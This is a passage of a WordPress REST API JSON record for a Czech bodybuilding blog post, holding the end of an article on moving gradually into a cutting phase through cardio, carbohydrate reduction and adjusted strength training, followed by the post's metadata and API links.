gigantick\u00e9 s\u00e9rie). A d\u00e1v\u00e1 to sv\u00fdm zp\u016fsobem smysl. Vyu\u017e\u00edvaj\u00ed dobu, kdy m\u00e1 t\u011blo dostatek energie a je schopno dob\u0159e regenerovat. Jestli jste b\u011bhem zimy takto necvi\u010dili, nic se ned\u011bje, postupn\u011b vyu\u017e\u00edvejte tyto techniky nyn\u00ed v\u00a0p\u0159echodov\u00e9m obdob\u00ed, b\u011bhem n\u011bho\u017e st\u00e1le je\u0161t\u011b nejste v\u00a0kalorick\u00e9m deficitu. Posl\u00e9ze toti\u017e s\u00a0\u00fabytkem energie a n\u00e1stupem \u00fanavy m\u016f\u017eete od t\u011bchto technik upou\u0161t\u011bt a sm\u011b\u0159ovat ke klasick\u00fdm s\u00e9ri\u00edm. V\u00a0t\u00e9 dob\u011b sou\u010dasn\u011b nav\u00fd\u0161\u00edte frekvenci kardio tr\u00e9nink\u016f, uberete v\u00a0j\u00eddeln\u00ed\u010dku sacharidy a upravenou n\u00e1ro\u010dnost posilovac\u00edho tr\u00e9ninku bezpochyby uv\u00edt\u00e1te. V\u017edy mus\u00edte na r\u00fdsovac\u00ed f\u00e1zi nahl\u00ed\u017eet jako na celek, kontrolovat v\u00fddej energie a zohlednit mno\u017estv\u00ed energie p\u0159ijat\u00e9. Ka\u017edop\u00e1dn\u011b u\u017e nyn\u00ed vid\u00edte, \u017ee nen\u00ed nutn\u00e9 ani vhodn\u00e9 sko\u010dit do r\u00fdsovac\u00ed f\u00e1ze rovn\u00fdma nohama ze dne na den. Ke svoj\u00ed letn\u00ed form\u011b se m\u016f\u017eete propracovat postupn\u011b, vytvo\u0159it podm\u00ednky pro udr\u017een\u00ed st\u00e1vaj\u00edc\u00ed svalov\u00e9 hmoty a sou\u010dasn\u011b br\u00e1t ohled tak\u00e9 svoje zdrav\u00ed a fungov\u00e1n\u00ed cel\u00e9ho organismu.<\/p>\n","protected":false},"author":2,"featured_media":454,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,6],"tags":[],"class_list":["post-453","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-treninky","category-vyziva"],"acf":[],"_links":{"self":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/453","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/comments?post=453"}],"version-history":[{"count":2,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/453\/revisions"}],"predecessor-version":[{"id":461,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/posts\/453\/revisions\/461"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media\/454"}],"wp:attachment":[{"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/media?parent=453"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/categories?post=453"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/svetkulturistiky.cz\/index.php\/wp-json\/wp\/v2\/tags?post=453"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}